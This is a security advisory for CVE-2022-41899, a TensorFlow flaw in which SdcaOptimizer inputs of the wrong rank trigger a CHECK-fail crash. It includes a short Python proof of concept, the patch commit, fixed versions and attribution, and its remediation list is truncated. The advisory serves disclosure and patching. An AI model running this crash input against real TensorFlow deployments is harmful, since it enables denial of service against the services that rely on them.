CVE-2022-41899

Description

### Impact Inputs `dense_features` or `example_state_data` not of rank 2 will trigger a `CHECK` fail in [`SdcaOptimizer`](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/kernels/sdca_internal.cc). ```python import tensorflow as tf tf.raw_ops.SdcaOptimizer( sparse_example_indices=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.int64, maxval=100)], sparse_feature_indices=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.int64, maxval=100)], sparse_feature_values=8 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100)], dense_features=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100)], example_weights=tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100), example_labels=tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100), sparse_indices=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.int64, maxval=100)], sparse_weights=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100)], dense_weights=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100)], example_state_data=tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100), loss_type="squared_loss", l1=0.0, l2=0.0, num_loss_partitions=1, num_inner_iterations=1, adaptative=False,) ``` ### Patches We have patched the issue in GitHub commit [80ff197d03db2a70c6a111f97dcdacad1b0babfa](https://github.com/tensorflow/tensorflow/commit/80ff197d03db2a70c6a111f97dcdacad1b0babfa). The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Zizhuang Deng of IIE, UCAS

How to fix CVE-2022-41899

To remediate CVE-2022-41899, upgrade the affected package to a fixed version below.

• —upgrade to 2.8.4 or later
• —upgrade to 2.8.4 or later
• —